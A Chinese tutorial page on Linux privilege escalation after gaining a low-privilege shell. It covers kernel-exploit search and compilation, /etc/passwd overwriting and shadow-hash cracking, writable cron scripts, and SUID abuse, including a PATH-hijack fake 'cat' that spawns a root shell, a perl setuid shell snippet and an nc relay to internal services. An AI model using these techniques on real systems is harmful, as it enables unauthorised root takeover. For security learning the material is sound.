首页 / LINUX / linux 提权方法总结

linux 提权方法总结

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了linux 提权方法总结，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含8094字，纯文字阅读大概需要12分钟。

内容图文

几点前提

已经拿到低权shell

被入侵的机器上面有nc，python，perl等linux非常常见的工具

有权限上传文件和下载文件

内核漏洞提权

提到脏牛，运维流下两行眼泪，我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的，因而我们应该先对系统相关的信息进行收集。

查看发行版

cat /etc/issue
cat /etc/*-release

查看内核版本

uname -a

这里我找了台机器测试：

#uname -a
Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-release
DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"

这样，我们就得到了系统的内核版本（2.6.32-21 pae），cpu架构（i686），和发行版（ubuntu 10.04）

可以开始搜索了

大多内核漏洞通过内核版本能很快查到

用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchspoit linux 2.6 ubuntu priv esc

结果:

linux 提权方法总结 - 文章图片

这么多，我们加入系统信息缩小范围

searchsploit linux priv esc 2.6 ubuntu 10

linux 提权方法总结 - 文章图片

这样可选的exp就少多了，很无奈，我们需要漫长的点开exp看具体要求的筛选过程，大部分exp都会写清生效条件。因此我们能够虽然很气，但也很快地去掉一些不具备利用条件的exp。比如第三个exp针对一个特别的磁盘格式，排除。

经过艰难的寻找，发现15704,c很顺眼，于是把源代码上传，然后：

#gcc exp.c
#lsexp.c
a.out#./a.out
id
uid=0(root) gid=0(root)

我们先编译exp再执行。可以看到exp执行以后没输出，但是我们其实已经得到rootshell了(exp执行以后一定敲个命令，不然都不知道是成功了还是卡了）

exploitdb的搜索过程虽然繁琐，但是能基本保证不会遗漏漏洞。如果想先偷懒图个快的话，我们可以试试https://www.kernel-exploits.com/，这里的exp已经按照内核版本分类了，而且有很多已经完成了编译。

比如我们搜索2.6.32：

linux 提权方法总结 - 文章图片

这个rds的binary刚巧能用。“我收集信息了，我上传exp了，我就root了。“

当然，以上只是非常理想的情况，我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数，也需要手动调整一下编译的参数，比如给gcc 加-m 32来编译32位。编译问题繁多，有困难找谷歌，不再赘述。

当内核版本没有好用的exp对应的时候，可以检查磁盘格式:

cat /etc/fstab

和已经安装的程序:

dpkg -l
rpm -qa

然后进行刚刚繁琐的搜索，没准就找到个bug

最后强调利用内核漏洞的几个注意点：

1.读源码，不然可能连编译都不会

2.读源码，不然费劲编译完才发现不适用

3.读源码，不然遇到一个删全盘的”exp“怎么办

明文root密码提权

passwd和shadow

虽然遇到的概率很小，但还是提一下

大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户，shadow里面是密码的hash。出于安全考虑passwd是全用户可读，root可写的。shadow是仅root可读写的。

这里是一个典型的passwd文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割，第一列是用户名，第二列是密码，x代表密码hash被放在shadow里面了（这样非root就看不到了）。而shadow里面最重要的就是密码的hash

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon:*:15730:0:99999:7:::
bin:*:15730:0:99999:7:::
sys:*:15730:0:99999:7:::
sync:*:15730:0:99999:7:::
games:*:15730:0:99999:7:::
man:*:15730:0:99999:7:::
lp:*:15730:0:99999:7:::
mail:*:15730:0:99999:7:::
news:*:15730:0:99999:7:::
uucp:*:15730:0:99999:7:::
proxy:*:15730:0:99999:7:::
www-data:*:15730:0:99999:7:::
backup:*:15730:0:99999:7:::
list:*:15730:0:99999:7:::
irc:*:15730:0:99999:7:::
gnats:*:15730:0:99999:7:::
nobody:*:15730:0:99999:7:::
libuuid:!:15730:0:99999:7:::
syslog:*:15730:0:99999:7:::
mysql:!:15730:0:99999:7:::
dovecot:*:15730:0:99999:7:::
sshd:*:15730:0:99999:7:::
postfix:*:15730:0:99999:7:::

shell命令来检查权限

cd /etc
ls -l passwd shadow

如果passwd可写，我们就可以把root的密码字段(x)替换成一个已知密码的hash（比如本机shadow里面的root密码hash），这样系统在验证密码时以passwd的为准，密码就已知了。如果shadow可读，我们可以读走root的hash，然后用hashcat或者john暴力破解之。

密码复用

很多管理员会重复使用密码，因此数据库或者web后台的密码也许就是root密码。

and then？

有了（疑似）root密码怎么办？你一定想ssh登陆。然而ssh很可能禁止root登陆，或是防火墙规则将你排除在外了。返回来想，我们不是有一个低权shell了吗？找个办法再上面“输入”密码就好了。显然，直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑，linux要求用户必须从终端设备（tty）中输入密码，而不是标准输入（stdin）。换句话说，sudo在你输入密码的时候本质上是读取了键盘，而不是bash里面输入的字符。因此为了能够输入密码，我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入：

 python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端，然后就可以使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456
Sorry, try again.
[sudo] password for www-data:

计划任务

系统内可能会有一些定时执行的任务，一般这些任务由crontab来管理，具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron*

linux 提权方法总结 - 文章图片

默认这些程序以root权限执行，如果有幸遇到一个把其中脚本配置成任意用户可写的管理员，我们就可以修改脚本等回连rootshell了。

SUID

SUID是一种特殊的文件属性，它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令，就是以root权限运行来修改shadow的。

这里我们做个实验(环境为ubuntu 16.04)：

c源代码

#include<stdlib.h>
#include <unistd.h>
 int main()
 {
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

以root进行编译和权限设置

gcc suid.c  -o suid-exp
chmod 4755 ./suid-exp#这里设置了SUID位
ls -l

输出

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp

注意s属性，表示这个程序有SUID的属性。

接下来我们切换用户并执行

su test
./suid-exp

linux 提权方法总结 - 文章图片

可以看到程序实际上已经提升到了root权限。

SUID程序经常存在提权漏洞，比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权，我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数，system函数是继承环境变量的，因此我们通过替换环境变量可以达到执行任意命令的效果。

我们进入test低权用户的shell

cat >> /tmp/cat <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
# 这里我们在/tmp建立了假的cat，它会用python执行一个shell
PATH=/tmp:$PATH#设置PATH，优先从/tmp查找程序
./suid-exp#执行suid程序，因为PATH被劫持，system("cat /etc/shadow");会执行我们的假cat

运行结果

linux 提权方法总结 - 文章图片

还有一种情况：管理员配置错误，把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候，我们需要自己的程序中使用setuid(0);来提权到root。这里有一个小技巧，我们用perl脚本来setuid：

#!/usr/bin/perl
$< = $>;
$( = $) = 0;
system ("/bin/sh"):

用这个简单的脚本劫持，就把shell运行在root权限下了。

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件，或是运气足够好碰上一个远程root漏洞。

netstat -antup#查看各种网络服务

linux 提权方法总结 - 文章图片

如果找到些神秘的服务，可以用netcat做个转发

mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

之后找漏洞，攻击，从头再来。

总结

Linux提权花样非常多，涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚，但是面对系统繁琐的工作过程和众多的发行版深感自己理解之浅。我很赞同在很多论坛上看到的对于linux提权的提示：你需要知道linux系统的工作方式。各种奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质，系统地了解系统才是保证安全的最佳方式。

内容总结

以上是互联网集市为您收集整理的linux 提权方法总结全部内容，希望文章能够帮你解决linux 提权方法总结所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/930590.html

来源：【匿名】

【上一篇】Linux TCP Client会出现自己连接自己现象详解【下一篇】Linux下安装GD

更多 ►

【linux 提权方法总结】教程文章相关的互联网学习教程文章

Linux 更改root与home分区大小的方法总结【代码】【图】

1. 安装了CentOS7.5的虚拟机但是发现里面的操作系统 home 分区占到了400g 根分区只有50g 认为不太好,所以要改一下.2.方法. 好像是xfs的文件格式, 没法使用resize2fs 的方式进行处理, 需要使用 xfs_growfs 的方式处理3. 方法: df -h 查看磁盘情况4. 然后使用mout |grep home 查看 home分区的文件格式5. 卸载home分区umount /home6. 删除home的lvlvremove /dev/centos/centos-home选择是进行操作7. 扩展root分区的大小 lvextend -L...

Linux下Git和GitHub使用方法总结【代码】

来源：Linux下Git和GitHub使用方法总结 1 Linux下Git和GitHub环境的搭建第一步：安装Git，使用命令 “sudo apt-get install git”第二步：到GitHub上创建GitHub帐号第三步：生成ssh key，使用命令 “ssh-keygen -t rsa -C "your_email@youremail.com"”，your_email是你的email第四步：回到github，进入Account Settings，左边选择SSH Keys，Add SSH Key,title随便填，粘贴key。key就是~/.ssh/id_rsa.pub内容。第五步：测试ss...

Linux进程间通信方法总结

①匿名管道(pipe)匿名管道(pipe)管道是一种半双工的通信方式，数据只能单向流动。如果要进行双工通信，需要建立两个管道。管道只能在具有亲缘关系的进程间使用，例如父子进程或兄弟进程。②有名管道(mkfifo)有名管道也是双半工的通信方式，但它允许无亲缘关系的进程间使用。③信号量(semophore)信号量常用来作为一种锁机制来使用，它是一个记数器，用来控制多进程对共享资源的访问，防止多个进程同时访问一个共享资源。信号量主要用...

linux下查询进程占用的内存方法总结

linux下查询进程占用的内存方法总结，假设现在有一个「php-cgi」的进程，进程id为「25282」。现在想要查询该进程占用的内存大小。linux命令行下有很多的工具进行查看，现总结常见的几种方式。通过进程的 status[root@web3_u ~]# cat /proc/25282/statusName: php-cgiState: S (sleeping)Tgid: 25282Pid: 25282PPid: 27187TracerPid: 0Uid: 99 99 99 99Gid: 99 99 99 99Utrace: 0FDSize: 256Groups: 99VmPeak: 496388 kBVmSize: 4...

Linuxshell之提取文件名和目录名的一些方法总结【图】

很多时候在使用Linux的shell时，我们都需要对文件名或目录名进行处理，通常的操作是由路径中提取出文件名，从路径中提取出目录名，提取文件后缀名等等。例如，从路径/dir1/dir2/file.txt中提取也文件名file.txt，提取出目录/dir1/dir2，提取出文件后缀txt等。下面介绍两种常用的方法来进行相关的操作。一、使用${}1、${var##*/}该命令的作用是去掉变量var从左边算起的最后一个/字符及其左边的内容，返回从左边算起的最后一个/（不含...

Linuxphp时区设置方法总结_PHP教程

在php中默认时区与中国相关8小时了，下面我来给大家介绍在于linux中与windows系统解决php时差8小时的方法，希望对各位同学有帮助。大陆内地可用的值是：Asia/Chongqing ，Asia/Shanghai ，Asia/Urumqi （依次为重庆，上海，乌鲁木齐）港台地区可用：Asia/Macao ，Asia/Hong_Kong ，Asia/Taipei （依次为澳门，香港，台北）还有新加坡：Asia/Singapore 其他可用的值是：Etc/GMT-8 ，Singapore ，Hongkong ，PRC一，Linux设置时区，...

mysql设置密码的方法总结(linux/windows)

本文章总结了在linux与windows服务器中别分怎么设置mysql密码的方法，有需要的同学可参考一下。windows下mysql (适用于管理员或者有全局权限的用户重设其它用户的密码) 进入命令行模式代码如下mysql -u root mysql mysql> UPDATE user SET password=PASSWORD("new password") WHERE user=name; mysql> FLUSH PRIVILEGES; mysql> QUIT 方法二: (应用同上,只是方法不同)代码如下 mysql -u root mysql mysql> SET PASSWORD FOR name...

Linux内核调试方法总结之coredump【图】

什么是core dump？分析core dump是Linux应用程序调试的一种有效方式，像内核调试抓取ram dump一样，core dump主要是获取应用程序崩溃时的现场信息，如程序运行时的内存、寄存器状态、堆栈指针、内存管理信息、函数调用堆栈信息等。Core dump又称为“核心转储”，是Linux基于信号实现的。Linux中信号是一种异步事件处理机制，每种信号都对应有默认的异常处理操作，默认操作包括忽略该信号（Ignore）、暂停进程（Stop）、终止进程（T...

者旨於陽 Linux内核调试方法总结之反汇编【图】

Linux反汇编调试方法Linux内核模块或者应用程序经常因为各种各样的原因而崩溃，一般情况下都会打印函数调用栈信息，那么，这种情况下，我们怎么去定位问题呢？本文档介绍了一种反汇编的方法辅助定位此类问题。代码示例如下：#include <signal.h>#include <stdio.h>#include <stdlib.h>#include <execinfo.h>#include <fcntl.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h> #define PRINT_D...

Linux系统下对文件和字符串进行加密的方法总结【代码】

为了安全考虑，通常会对一些字符或重要文件进行加密安全处理，下面对文件或字符串加解密方法做一总结，方便日常运维工作中使用。一、对文件进行加密/解密方法方法一：gzexe加密这种加密方式不是非常保险的方法，但是能够满足一般的加密用途，可以隐蔽脚本中的密码等信息。它是使用系统自带的gzexe程序，它不但加密，同时压缩文件。示例如下：[root@ipsan-node03 ~]# echo "hahahaha" > a.txt [root@ipsan-node03 ~]# cat a.txt ha...

linux 提权方法总结【代码】【图】

几点前提已经拿到低权shell 被入侵的机器上面有nc，python，perl等linux非常常见的工具有权限上传文件和下载文件内核漏洞提权提到脏牛，运维流下两行眼泪，我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的，因而我们应该先对系统相关的信息进行收集。查看发行版 cat /etc/issue cat /etc/*-release查看内核版本 uname -a这里我找了台机器测试： #uname -a Linux xxxxx 2.6.32-21-generi...

Linux安装软件方法总结【代码】【图】

相比于windows系统，Linux安装程序就比较复杂了，很多需要root用户才能安装。常见的有以下几种安装方法源码安装rpm包安装yum安装（RedHat、CentOS）apt-get安装（debian，ubuntu）源码安装以安装gcc为例，登陆https://gcc.gnu.org/，下载自己想要的版本的gcc安装包上传gcc-4.1.2.tar.gz到Linux服务器任意目录，解压解压目录执行shell命令 ./configuration 解压目录执行shell命令 make install 优点是安装目录，软件版本...

Linux/Centos查看进程占用内存大小的几种方法总结

1.命令行输入top回车，然后按下大写M按照memory排序，按下大写P按照CPU排序。2. ps -ef | grep "进程名" ps -e -o pid,comm,args,pcpu,rsz,vsz,stime,user,uid | grep 进程名例如: # ps -ef | grep mongodb | grep -v grep root 18512 1 8 Feb28 ? 11:25:23 mongod -f mongodb.conf # ps -e -o pid,comm,args,pcpu,rsz,vsz,stime,user,uid | grep 18512 | grep -v grep 18512 mongod mongod -f mong...

Linux中执行shell脚本的4种方法总结【代码】

这篇文章主要介绍了Linux中执行shell脚本的4种方法总结,即在Linux中运行shell脚本的4种方法,需要的朋友可以参考下bash shell脚本的方法有多种，现在作个小结。假设我们编写好的shell脚本的文件名为hello.sh，文件位置在/data/shell目录中并已有执行权限。方法一：切换到shell脚本所在的目录（此时，称为工作目录）执行shell脚本：代码如下: 1 cd /data/shell 2 3 ./hello.sh ./hello.sh ./的意思是说在当前的工作目录下执行he...

Linux 各种取ip的方法总结

LINUX - 最热教程

Xrdp - 通过Windows的RDP连接Linux远程...VMware中Linux虚拟机挂载主机共享文件夹...Linux双网卡配置虚拟机下Linux安装好Nginx后，宿主机无...linux下安装postgresql并配置远程图形桌...Linux命令--exportfs命令详解 linux 终端printf打印显示乱码问题修正 Linux下Shell的for循环语句N种写法 Linux下创建nginx脚本-start、stop、re...SUSELinux安装MySQL

首页 / LINUX / linux 提权方法总结

linux 提权方法总结

内容导读

内容图文

几点前提

内核漏洞提权

明文root密码提权

passwd和shadow

密码复用

and then？

计划任务

SUID

网络与隐藏的服务

相关工具

总结

内容总结

内容备注

内容手机端

【linux 提权方法总结】教程文章相关的互联网学习教程文章

Linux 更改root与home分区大小的方法总结【代码】【图】

Linux下Git和GitHub使用方法总结【代码】

Linux进程间通信方法总结

linux下查询进程占用的内存方法总结

Linuxshell之提取文件名和目录名的一些方法总结【图】

Linuxphp时区设置方法总结_PHP教程

mysql设置密码的方法总结(linux/windows)

Linux内核调试方法总结之coredump【图】

者旨於陽 Linux内核调试方法总结之反汇编【图】

Linux系统下对文件和字符串进行加密的方法总结【代码】

linux 提权方法总结【代码】【图】

Linux安装软件方法总结【代码】【图】

Linux/Centos查看进程占用内存大小的几种方法总结

Linux中执行shell脚本的4种方法总结【代码】

Linux 各种取ip的方法总结

LINUX - 相关标签

LINUX - 最新教程

LINUX - 最热教程